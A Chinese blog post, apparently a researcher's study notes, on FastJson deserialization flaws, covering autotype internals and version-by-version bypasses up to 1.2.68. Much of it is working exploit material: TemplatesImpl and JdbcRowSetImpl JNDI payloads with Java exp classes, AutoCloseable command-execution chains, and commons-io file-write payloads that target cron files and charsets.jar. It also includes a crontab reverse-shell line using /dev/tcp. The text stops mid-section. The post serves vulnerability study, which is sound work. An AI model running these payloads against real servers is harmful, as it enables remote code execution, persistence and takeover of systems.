目录

  1. 1. 前言
  2. 2. 简介
  3. 3. demo
    1. 3.1. 序列化代码实现
    2. 3.2. 反序列化代码实现
  4. 4. 漏洞原理
    1. 4.1. 漏洞demo
    2. 4.2. 调试
  5. 5. FastJson<=1.2.24
    1. 5.1. TemplatesImpl链
    2. 5.2. JdbcRowSetImpl链(常用,需要出网)
      1. 5.2.1. JNDI+RMI
      2. 5.2.2. JNDI+LDAP
    3. 5.3. BCEL不出网动态类加载
  6. 6. FastJson 高版本绕过
    1. 6.1. 1.2.25 的修复
    2. 6.2. 绕过
      1. 6.2.1. 1.2.25-1.2.42 (双写绕过)
      2. 6.2.2. 1.2.25-1.2.43
      3. 6.2.3. 1.2.25-1.2.45 (mybatis<3.5.0)
      4. 6.2.4. 1.2.25-1.2.47 (最常用)
    3. 6.3. 1.2.48 的修复
    4. 6.4. 1.2.62
    5. 6.5. 1.2.66
    6. 6.6. 1.2.67
    7. 6.7. 1.2.68
      1. 6.7.1. AutoCloseable 绕过
      2. 6.7.2. commons-io 文件操作
        1. 6.7.2.1. 写入 charsets.jar 加载 jar 包
        2. 6.7.2.2. 写入 class 类加载
        3. 6.7.2.3. 写入 jsp 文件
        4. 6.7.2.4. 写入计划任务反弹 shell
        5. 6.7.2.5. 读文件
      3. 6.7.3. 其他 poc
      4. 6.7.4. 1.2.69 的修复
    8. 6.8. 1.2.80
      1. 6.8.1. groovy
      2. 6.8.2. CVE-2022-25845
  7. 7. 版本探测
    1. 7.1. 判断 json 类型
    2. 7.2. 判断版本号/区间
    3. 7.3. 包环境探测
  8. 8. FastJson 原生反序列化
    1. 8.1. toString链
      1. 8.1.1. 类查找
      2. 8.1.2. FastJson<=1.2.48
      3. 8.1.3. FastJson>1.2.48
        1. 8.1.3.1. 绕过 resolveClass
    2. 8.2. XString 链
      1. 8.2.1. 调试
      2. 8.2.2. HashMap 链
    3. 8.3. EventListenerList链
      1. 8.3.1. 调试
    4. 8.4. FastJson 2
      1. 8.4.0.1. 通杀

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

FastJson反序列化

2024/7/19 Web Java 反序列化
  |     |   总文章阅读量:

前言

参考:

https://natro92.fun/posts/ac90d224/

https://boogipop.com/2023/03/02/FastJson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/

https://zer0peach.github.io/2023/09/24/FastJSON/

https://drun1baby.top/2022/08/04/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Fastjson%E7%AF%8701-Fastjson%E5%9F%BA%E7%A1%80

https://drun1baby.top/2022/08/08/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Fastjson%E7%AF%8703-Fastjson%E5%90%84%E7%89%88%E6%9C%AC%E7%BB%95%E8%BF%87%E5%88%86%E6%9E%90

https://xz.aliyun.com/news/12201

https://y4tacker.github.io/2023/03/20/year/2023/3/FastJson%E4%B8%8E%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/


简介

Fastjson 是 Alibaba 开发的 Java 语言编写的高性能 JSON 库,用于将数据在 JSON 和 Java Object 之间互相转换。

提供两个主要接口来分别实现序列化和反序列化操作。

JSON.toJSONString 将 Java 对象转换为 json 对象,序列化的过程。

JSON.parseObject/JSON.parse 将 json 对象重新变回 Java 对象;反序列化的过程

所以可以简单的把 json 理解成是一个字符串


demo

依赖

<dependencies>
  <dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.24</version>
  </dependency>
</dependencies>

序列化代码实现

定义一个 Student 类

package com.example;

public class Student {
    private String name;
    private int age;

    public Student() {
        System.out.println("构造函数");
    }

    public String getName() {
        System.out.println("getName");
        return name;
    }

    public void setName(String name) {
        System.out.println("setName");
        this.name = name;
    }

    public int getAge() {
        System.out.println("getAge");
        return age;
    }

    public void setAge(int age) {
        System.out.println("setAge");
        this.age = age;
    }
}

然后写序列化的代码,调用 JSON.toJsonString() 来序列化 Student 类对象 :

package com.example;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class StudentSerialize {
    public static void main(String[] args) {
        Student student = new Student();
        student.setName("0w0");
        student.setAge(16);
        String jsonString = JSON.toJSONString(student, SerializerFeature.WriteClassName);
        System.out.println(jsonString);
    }
}

image-20241223115429334

调试一下JSON.toJsonString()序列化的逻辑

image-20241223115723785

进到 JSON#toJSONString,new 了一个 SerializeWriter 对象,至此序列化完成

注意到底下的 static 变量,是 members of JSON

image-20241223120012708

其中的 DEFAULT_TYPE_KEY 为 "@type"

继续往下看,new SerializeWriter 后的对象赋给 out

image-20241223120333472

这个 out 变量作为 JSONSerializer 类构造的参数

再往下就是 toString 返回序列化字符串了


那么核心就在 toJSONString 这里

String jsonString = JSON.toJSONString(student, SerializerFeature.WriteClassName);

观察第二个参数,SerializerFeature.WriteClassName,是 JSON.toJSONString() 中的一个设置属性值,设置之后在序列化的时候会多写入一个@type,即写上被序列化的类名,type 可以指定反序列化的类,并且调用其 getter/setter/is 方法

Fastjson 接受的 JSON 可以通过 @type 字段来指定该 JSON 应当还原成何种类型的对象,在反序列化的时候方便操作

image-20241223121704167

(如果没有设置的话就没有 @type)


反序列化代码实现

通过调用JSON.parseObject()实现反序列化

package com.example;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;

public class StudentUnserialize {
    public static void main(String[] args) {
        String jsonString = "{\"@type\":\"com.example.Student\",\"age\":16,\"name\":\"0w0\"}";
        Student student = JSON.parseObject(jsonString, Student.class, Feature.SupportNonPublicField);
        System.out.println(student);
        System.out.println(student.getClass().getName());
        System.out.println(student.getName());
        System.out.println(student.getAge());
    }
}

漏洞原理

从前面的demo中我们可以看出,fastjson 在反序列化的时候会去找我们在 @type 中规定的类是哪个类,然后在反序列化的时候会自动调用这些 setter 与 getter 方法,但是调用的 setter 与 getter 方法是有条件的

满足条件的setter:

  • 非静态函数
  • 返回类型为void或当前类
  • 参数个数为1个

满足条件的getter:

  • 非静态方法
  • 无参数
  • 返回值类型继承自Collection或Map或AtomicBoolean或AtomicInteger或AtomicLong

那么,不同于之前Java原生的序列化和反序列化机制,Fastjson自己实现了一套序列化和反序列化机制

通过 Fastjson 反序列化漏洞,攻击者可以传入一个恶意构造的 JSON 内容,程序对其进行反序列化后得到恶意类并执行了恶意类中的恶意函数,进而导致代码执行


由前面 demo 知道,Fastjson 使用 parseObject() / parse() 进行反序列化的时候可以指定类型。如果指定的类型太大,包含太多子类,就有利用空间了。例如,如果指定类型为Object或JSONObject,则可以反序列化出来任意类。例如代码写 Object o = JSON.parseObject(poc,Object.class) 就可以反序列化出 Object 类或其任意子类,而 Object 又是任意类的父类,所以就可以反序列化出所有类。

而反序列化时会将反序列化得到的类的构造函数、getter方法、setter方法执行一遍,如果这三种方法中存在危险操作,则可能导致反序列化漏洞的存在,即要攻击的类中的这三种方法需要存在漏洞才能触发

DefaultJSONParser.parseObject(Map object, Object fieldName) 中,JSON中以@type形式传入的类的时候,调用 deserializer.deserialze() 处理该类,并去调用这个类的 settergetter 方法:

public final Object parseObject(final Map object, Object fieldName) {
    ...
    // JSON.DEFAULT_TYPE_KEY即@type
    if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
        ...
        ObjectDeserializer deserializer = config.getDeserializer(clazz);
        return deserializer.deserialze(this, clazz, fieldName);

漏洞demo

对 student 类稍作修改,添加一个 getter 方法,里面有漏洞代码

package com.example;

import java.util.Properties;

public class Student {
    private String name;
    private int age;
    private String address;
    private Properties properties;

    public Student() {
        System.out.println("构造函数");
    }

    public String getName() {
        System.out.println("getName");
        return name;
    }

    public void setName(String name) {
        System.out.println("setName");
        this.name = name;
    }

    public int getAge() {
        System.out.println("getAge");
        return age;
    }

    //    public void setAge(int age) {
    //        System.out.println("setAge");
    //        this.age = age;
    //    }

    public String getAddress() {
        System.out.println("getAddress");
        return address;
    }

    public Properties getProperties() throws Exception{
        System.out.println("getProperties");
        Runtime.getRuntime().exec("calc");
        return properties;
    }
}

poc:

package com.example;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.Feature;

public class FastjsonEasyPoC {
    public static void main(String[] args){
        String jsonString ="{\"@type\":\"com.example.Student\",\"age\":16,\"name\":\"0w0\",\"address\":\"china\",\"properties\":{}}";

        Object obj = JSON.parseObject(jsonString, Object.class);
//        Student obj = JSON.parseObject(jsonString, Student.class, Feature.SupportNonPublicField);
        System.out.println(obj);
        System.out.println(obj.getClass().getName());
    }
}

image-20241223145633462

很明显,前面的 Demo 中反序列化的类是一个 Object 类,该类是任意类的父类,其子类 Student 存在 Fastjson 反序列化漏洞,当 @type 指向 Student 类是反序列化就会触发漏洞。

对于另一种反序列化指定类的情景,是该指定类本身就存在漏洞,比如我们将上述Demo中反序列化那行代码改成直接反序列化得到 Student 类而非 Object 类,这样就是另一个触发也是最直接的触发场景

Student obj = JSON.parseObject(jsonstring, Student.class, Feature.SupportNonPublicField);

调试

简单调试下可以看到是在 DefaultJSONParser.parseObject(Map object, Object fieldName) 里的 TypeUtils.loadClass 进行了类加载

然后进入底下的 deserializer.deserialze

继续跟进 JavaBeanDeserializer.deserialze 的 parseField,这里解析了 getter

此处进入 FieldDeserializer.setValue

最终执行方法


FastJson<=1.2.24

1.2.22 <= Fastjson <= 1.2.24

依赖:

<dependency>
    <groupId>com.unboundid</groupId>
    <artifactId>unboundid-ldapsdk</artifactId>
    <version>3.2.0</version>
</dependency>
<dependency>
    <groupId>commons-io</groupId>
    <artifactId>commons-io</artifactId>
    <version>2.5</version>
</dependency>
<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.24</version>
</dependency>
<dependency>
    <groupId>commons-codec</groupId>
    <artifactId>commons-codec</artifactId>
    <version>1.13</version>
</dependency>

一条是基于 TemplatesImpl 的链子,另一条是基于 JdbcRowSetImpl 的链子

TemplatesImpl链

此前在学字节码的时候就知道调用链如下: Java动态加载字节码

TemplatesImpl#getOutputProperties() ->
TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() ->
TemplatesImpl#defineTransletClasses() ->
TransletClassLoader#defineClass()

这里 getTransletInstance 就是一个 getter 方法,那么就满足了我们 fastjson 漏洞的利用条件

image-20241223233755223

但是有一个问题,getTransletInstance 方法返回值是 Translet 类型,是一个抽象类,没有继承自 Collection 或 Map 或 AtomicBoolean 或 AtomicInteger 或 AtomicLong

此时就要向上找链子了,根据之前对字节码的学习可以知道在最前面还有个 getOutputProperties 方法

image-20241223234655460

这里返回值类型是 Properties

image-20241223234757553

image-20241223234815137

Properties 继承自 Map 类型,那么满足了我们的需要

然后我们需要在 payload 里面给 _outputProperties 也赋个值

image-20241224000813127

于是就能构造payload了:

{
	"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
	"_bytecodes":["base64enc_evilcode"],
	'_name':'0w0',
	'_tfactory':{ },
	"_outputProperties":{ }
}

这里有一个需要注意的点,为什么 _bytecodes 进行 base64 编码后能被解析:

首先我们知道 JSON.parseObject() 会循环获取所有字段

com.alibaba.fastjson.serializer.ObjectArrayCodec#deserialze 方法会调用 byteValue 方法

跟进

此处会进行一次 base64 解码

注意:在反序列化的时候的参数需要加上 Object.classFeature.SupportNonPublicField,因为 getOutputProperties() 方法是私有的,所以,常规情况下这条链子很少具有利用空间

exp:

package com.example;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.io.IOUtils;

import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;

// TemplatesImpl 链子的 EXP
public class TemplatesImplPoc {
    public static String readClass(String cls){
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        try {
            IOUtils.copy(new FileInputStream(new File(cls)), bos);
        } catch (IOException e) {
            e.printStackTrace();
        }
        return Base64.encodeBase64String(bos.toByteArray());
    }

    public static void main(String args[]){
        try {
            ParserConfig config = new ParserConfig();
            final String fileSeparator = System.getProperty("file.separator");
            final String evilClassPath = "D:/Code/Java/Java unserialize/demo/src/main/java/com/example/TempClass.class";
            String evilCode = readClass(evilClassPath);
            // String evilCode = "yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgEAClNvdXJjZUZpbGUBAA5UZW1wQ2xhc3MuamF2YQwADgAPBwAbDAAcAB0BABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwAeDAAfACABABFjb20vY2MxL1RlbXBDbGFzcwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAMAAAABsQAAAAEACgAAAAYAAQAAAA0ACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAAEAAAAAbEAAAABAAoAAAAGAAEAAAASAAsAAAAEAAEADAABAA4ADwABAAkAAAAtAAIAAQAAAA0qtwABsgACEgO2AASxAAAAAQAKAAAADgADAAAAFQAEABYADAAXAAEAEAAAAAIAEQ";
            final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
            String text1 = "{\"@type\":\"" + NASTY_CLASS +
                    "\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'0w0','_tfactory':{ },\"_outputProperties\":{ },";
            System.out.println(text1);

            Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
            //Object obj = JSON.parse(text1, Feature.SupportNonPublicField);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

image-20241224001435478


JdbcRowSetImpl链(常用,需要出网)

其实就是 JNDI 注入

基于 JdbcRowSetImpl 的利用链主要有两种利用方式,即 JNDI + RMI 和 JNDI + LDAP,都是属于基于 Bean Property 类型的 JNDI 的利用方式

JNDI+RMI

JDK 版本 8u161 < jdk < 8u191

JdbcRowSetImpl 类 JNDI 的部分在 connect 中

image-20241224003040401

这里既然是 getDateSourceName,那么找 setDataSourceName

image-20241224002541575

一看方法名就知道是设置数据库源,我们通过这个方式实现攻击

然后向上找调用 connect 方法的 setter 或 getter,优先找 setter,限制比较少

image-20241224003950586

找到 setAutoCommit,那么只要给 autoCommit 赋布尔值即可

payload:

{
	"@type":"com.sun.rowset.JdbcRowSetImpl",
	"dataSourceName":"rmi://localhost:1099/Exploit",
    "autoCommit":true
}

exp:

package com.example;

import com.alibaba.fastjson.JSON;

// 基于 JdbcRowSetImpl 的利用链  
public class JdbcRowSetImplExp {
    public static void main(String[] args) {
        String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/Exploit\", \"autoCommit\":true}";
        JSON.parse(payload);
    }
}

使用 yakit 生成一个测试反连

image-20241224004624146

image-20241224004739150


JNDI+LDAP

原理一致

exp:

package com.example;

import com.alibaba.fastjson.JSON;

public class JdbcRowSetImplLdapExp {
    public static void main(String[] args) {
        String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1099/Exploit\", \"autoCommit\":true}";
        JSON.parse(payload);
    }
}

BCEL不出网动态类加载


FastJson 高版本绕过

1.2.25 的修复

修补方案是将 DefaultJSONParser.parseObject() 函数中的 TypeUtils.loadClass 替换为 checkAutoType() 函数

进行了一次 autoTypeSupport 的判定

如果能通过这个判定的话就像之前一样

绕过

以下操作均需要开启 AutoTypeSupport 才能成功

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);  
//开启autoTypeSupport

1.2.25-1.2.42 (双写绕过)

{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://127.0.0.1:1389/g0tvin","autoCommit":true}

1.2.25-1.2.43

修复了L; 以及双写,还对[做处理,利用这个处理进行绕过

{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{"dataSourceName":"rmi://vps:port/Exploit", "autoCommit":true}

1.2.25-1.2.45 (mybatis<3.5.0)

data_sourceinitial_context时写在initial_context

{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://vps:port/TouchFile"}}


{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"2333","initial_context":"rmi://ip:port/TouchFile"}}

1.2.25-1.2.47 (最常用)

原理是使用了 mapping.put 进行缓存实现绕过

{
	"a": {
		"@type": "java.lang.Class",
		"val": "com.sun.rowset.JdbcRowSetImpl"
	},
	"b": {
		"@type": "com.sun.rowset.JdbcRowSetImpl",
		"dataSourceName": "rmi://vps/TouchFile",
		"autoCommit": true
	}
}

1.2.48 的修复

TypeUtils.loadClass 里又加了一个 cache 判断

这个 cache 判断默认为 false,那么从 TypeUtils.loadClass 这里打进去就变得很困难了

而 checkAutoType 也新增了一个 safeModeMask,如果设置了 @type 就会抛出异常,开了 safemode 的直接打不了 fastjson

然后是检测类名长度和白名单 expectClass

以及用 hash 做黑白名单匹配

如果通过黑名单检测,但是不在白名单内,则会进入此处的检测 autoTypeSupport 逻辑

若能满足 autoTypeSupport 或 expectClassFlag 其一也会进入尝试 TypeUtils.loadClass

若没开启 autoTypeSupport 则会进入下面的逻辑

白名单类会直接 TypeUtils.loadClass

然后还会单独检测一次 autoType、jsonType 或 expectClassFlag,有开启则加载类


1.2.62

  • 需要开启 AutoType;
  • Fastjson <= 1.2.62;
  • JNDI 注入利用所受的 JDK 版本限制;
  • 目标服务端需要存在 xbean-reflect 包;xbean-reflect 包的版本不限
import com.alibaba.fastjson.JSON;  
import com.alibaba.fastjson.parser.ParserConfig;  
import org.apache.xbean.propertyeditor.JndiConverter;  
  
public class EXP_1262 {  
    public static void main(String[] args) {  
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);  
 String poc = "{\"@type\":\"org.apache.xbean.propertyeditor.JndiConverter\"," +  
                "\"AsText\":\"ldap://127.0.0.1:1234/ExportObject\"}";  
 JSON.parse(poc);  
 }  
}

1.2.66

  • 开启 AutoType;
  • Fastjson <= 1.2.66;
  • JNDI注入利用所受的JDK版本限制;
  • org.apache.shiro.jndi.JndiObjectFactory 类需要 shiro-core 包;
  • br.com.anteros.dbcp.AnterosDBCPConfig 类需要 Anteros-Core 和 Anteros-DBCP 包;
  • com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig 类需要 ibatis-sqlmap 和 jta包;
import com.alibaba.fastjson.JSON;  
import com.alibaba.fastjson.parser.ParserConfig;  
  
public class EXP_1266 {  
    public static void main(String[] args) {  
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);  
 String poc = "{\"@type\":\"org.apache.shiro.realm.jndi.JndiRealmFactory\", \"jndiNames\":[\"ldap://localhost:1234/ExportObject\"], \"Realms\":[\"\"]}";  
//        String poc = "{\"@type\":\"br.com.anteros.dbcp.AnterosDBCPConfig\",\"metricRegistry\":\"ldap://localhost:1389/Exploit\"}";  
//        String poc = "{\"@type\":\"br.com.anteros.dbcp.AnterosDBCPConfig\",\"healthCheckRegistry\":\"ldap://localhost:1389/Exploit\"}";  
//        String poc = "{\"@type\":\"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig\"," +  
//                "\"properties\": {\"@type\":\"java.util.Properties\",\"UserTransaction\":\"ldap://localhost:1389/Exploit\"}}";  
 JSON.parse(poc);  
 }  
}

1.2.67

  • 开启 AutoType;
  • Fastjson <= 1.2.67;
  • JNDI注入利用所受的JDK版本限制;
  • org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup 类需要 ignite-core、ignite-jta 和 jta 依赖;
  • org.apache.shiro.jndi.JndiObjectFactory 类需要 shiro-core 和 slf4j-api 依赖;
import com.alibaba.fastjson.JSON;  
import com.alibaba.fastjson.parser.ParserConfig;  
import com.sun.xml.internal.ws.api.ha.StickyFeature;  
  
public class EXP_1267 {  
    public static void main(String[] args) {  
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);  
 String poc = "{\"@type\":\"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup\"," +  
                " \"jndiNames\":[\"ldap://localhost:1234/ExportObject\"], \"tm\": {\"$ref\":\"$.tm\"}}";  
 JSON.parse(poc);  
 }  
}

1.2.68

https://www.cnblogs.com/xyylll/p/15818964.html

https://www.freebuf.com/articles/web/413816.html

https://rivers.chaitin.cn/blog/cq9kaap0lnechd245q8g

https://github.com/lemono0/FastJsonParty/blob/main/FastJson1268%E5%86%99%E6%96%87%E4%BB%B6RCE%E6%8E%A2%E7%A9%B6.md

https://su18.org/post/fastjson-1.2.68/

AutoCloseable 绕过

前提:

  • Fastjson <= 1.2.68;
  • 利用类必须是 expectClass 类的子类或实现类,并且不在黑名单中;

步骤:

  • 先传入某个类,其加载成功后将作为 expectClass 参数传入 checkAutoType() 函数;
  • 查找 expectClass 类的子类或实现类,如果存在这样一个子类或实现类其构造方法或 setter 方法中存在危险操作则可以被攻击利用;
package com.json;

import com.alibaba.fastjson.JSON;

public class AutoCloseableBypass {
    public static void main(String[] args) {
        String payload = "{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"com.json.evilAC\",\"cmd\":\"open -a Calculator\"}";
        JSON.parse(payload);
    }
}
package com.json;

import java.io.IOException;

public class evilAC implements AutoCloseable{
    public evilAC(String cmd){
        try {
            Runtime.getRuntime().exec(cmd);
        } catch (IOException e) {
            e.printStackTrace();
        }

    }
    @Override
    public void close() throws Exception {}
}

依旧在 checkAutoType 调试看一下

第一次是传入 AutoCloseable 类进行校验,这里 CheckAutoType() 函数的 expectClass 参数是为 null 的

往下

此处从缓存 Mapping 中获取到了 AutoCloseable 类:然后获取到这个 clazz 之后进行了一系列的判断,clazz 是否为 null,以及关于 internalWhite 的判断,internalWhite 就是内部加白的名单,用 hash 进行匹配,具体对应内容见: https://github.com/LeadroyaL/fastjson-blacklist

再然后是第二次 checkAutoType

typeName 参数是 poc 中第二个指定的类,expectClass 参数则是 poc 中第一个指定的类

往下由于 java.lang.AutoCloseable 类并非其中黑名单中的类,因此 expectClassFlag 被设置为 true

再往下则会因为 expectClassFlag 为 true,即使不开启 autoTypeSupport 也能进入相关逻辑

但是这里并不能成功加载目标类,就会进入 autoType 关闭时的检测逻辑,和上面这个逻辑一样

继续往下会来到这个只需要 expectClassFlag 的判断

这样就能进入 TypeUtils.loadClass 加载目标类了,但是由于 autoType 关闭且 jsonType 为 false,因此调用 loadClass() 函数的时候是不开启 cache 即缓存的

然后就返回我们的恶意类了,后面的内容判断是否 jsonType、true 的话直接添加 Mapping 缓存并返回类,否则接着判断返回的类是否是 ClassLoader、DataSource、RowSet 等类的子类,是的话直接抛出异常,这也是过滤大多数 JNDI 注入 Gadget 的机制

再往后如果 expectClass 不为 null,则判断目标类是否是 expectClass 类的子类,是的话就添加到 Mapping 缓存中并直接返回该目标类,否则直接抛出异常导致利用失败。这就是为什么我们的恶意类需要继承 AutoCloseable 接口类,因为这里 expectClass 为 AutoCloseable 类、因此恶意类必须是 AutoCloseable 类的子类才能通过这里的判断

最终的调用栈:

<init>:11, evilAC (com.json)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:422, Constructor (java.lang.reflect)
deserialze:1012, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:288, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:284, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:808, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:288, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:284, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:395, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1401, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1367, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:183, JSON (com.alibaba.fastjson)
parse:193, JSON (com.alibaba.fastjson)
parse:149, JSON (com.alibaba.fastjson)
main:8, AutoCloseableBypass (com.json)

commons-io 文件操作

在 Fastjson 1.2.68 版本上,由浅蓝师傅挖提出了使用 expectClass 中的 AutoCloseable 进行文件读写操作的思路:“IntputStream 和 OutputStream 都是实现自 AutoCloseable 接口的,而且也没有被列入黑名单,所以只要找到合适的类,还是可以进行文件读写等高危操作的。”

由于 fastjson 漏洞触发方式是调用 get/set/构造方法触发漏洞,因此对于写文件一类的操作,根据浅蓝师傅的文章,需要以下几个条件:

  • 需要一个通过 set 方法或构造方法指定文件路径的 OutputStream。
  • 需要一个通过 set 方法或构造方法传入字节数据的 OutputStream,参数类型必须是 byte[]、ByteBuffer、String、char[] 其中的一个,并且可以通过 set 方法或构造方法传入一个 OutputStream,最后可以通过 write 方法将传入的字节码 write 到传入的 OutputStream。
  • 需要一个通过 set 方法或构造方法传入一个 OutputStream,并且可以通过调用 toString、hashCode、get、set、构造方法调用传入的 OutputStream 的 close、write 或 flush 方法。

payload:

{
    "stream": {
        "@type": "java.lang.AutoCloseable",
        "@type": "org.eclipse.core.internal.localstore.SafeFileOutputStream",
        "targetPath": "/tmp/pwn.txt",
        "tempPath": "/tmp/test.txt"
    },
    "writer": {
        "@type": "java.lang.AutoCloseable",
        "@type": "com.esotericsoftware.kryo.io.Output",
        "buffer": "YjF1M3I=",
        "outputStream": {
            "$ref": "$.stream"
        },
        "position": 5
    },
    "close": {
        "@type": "java.lang.AutoCloseable",
        "@type": "com.sleepycat.bind.serial.SerialOutput",
        "out": {
            "$ref": "$.writer"
        }
    }
}
{
    "@type":"java.lang.AutoCloseable",
    "@type":"sun.rmi.server.MarshalOutputStream",
    "out":
    {
        "@type":"java.util.zip.InflaterOutputStream",
        "out":
        {
           "@type":"java.io.FileOutputStream",
           "file":"/var/spool/cron/root",
           "append":false
        },
        "infl":
        {
            "input":
            {
                "array":"eJzTUtCCwqL8/BIFhaTE4gwF3WQFdQgjU8FOTUE/JbVMvyS5QN/QQM/YQM9Az8JE3xIIFAzs1AzVFbgASkQQSg==",
                "limit":1999
            }
        },
        "bufLen":1048576
    },
    "protocolVersion":1
}

写入 charsets.jar 加载 jar 包

{"x":{"@type":"java.lang.AutoCloseable","@type":"sun.rmi.server.MarshalOutputStream","out":{"@type":"java.util.zip.InflaterOutputStream","out":{"@type":"java.io.FileOutputStream","file":"/tmp/charsets.jar","append":false},"infl":{"input":"eJydmgVUXMuW97HQdAik"},"bufLen":1048576}}}
  • charsets.jar 加载只能加载一次,也就是说如果服务本身就调动过该 jar 包就不奏效
  • 数据较大,一次机会,谨慎使用

写入 class 类加载

{
 "@type":"java.lang.AutoCloseable",
 "@type":"org.apache.commons.io.output.WriterOutputStream",
 "writer":{
 "@type":"org.apache.commons.io.output.LockableFileWriter",
 "file":"/etc/passwd", //一个存在的文件
 "encoding":"UTF-8",
 "append": true,
"lockDir":"/usr/lib/jvm/java-8-openjdk-amd64/jre/classes" //要创建的目录
 },
 "charset":"UTF-8",
 "bufferSize": 8193,
 "writeImmediately": true
 }
{
  "@type":"java.lang.AutoCloseable",
  "@type":"EvilShell"  //类名
}

写入 jsp 文件

如果是支持 jsp 渲染的环境,如 tomcat,就可以尝试找到 tomcat 的绝对路径(如报错泄露),然后写入 jsp 文件


写入计划任务反弹 shell

条件:

  • 具有高权限
  • 机器出网
  • centos 和 ubuntu 系统下的计划任务不同,可参考 Redis 写计划任务,此处仅考虑写入到 /etc/crontab 的情况

注意:

  • 通过 Fastjson 写入计划任务反弹 shell 时,需在最后跟上 \n 换行符和注释符,否则 cron 无法正确解析,导致反弹shell失败。如 String code = "* * * * * root bash -c 'bash -i >& /dev/tcp/127.0.0.1/9999 0>&1' \n#";
  • IDEA 调试环境与实际 web 环境存在差异,对于 WriterOutputStream 的参数,实际的环境中应该为 charset,而 IDEA 的调试环境中为 charsetName
  • 在 commons-io 2.x 文件写入中,规定了写入文件的长度,写入内容的长度必须要>8192,但实际写入的内容只有前8192个字符,后面的不会写入

即我们要写入:

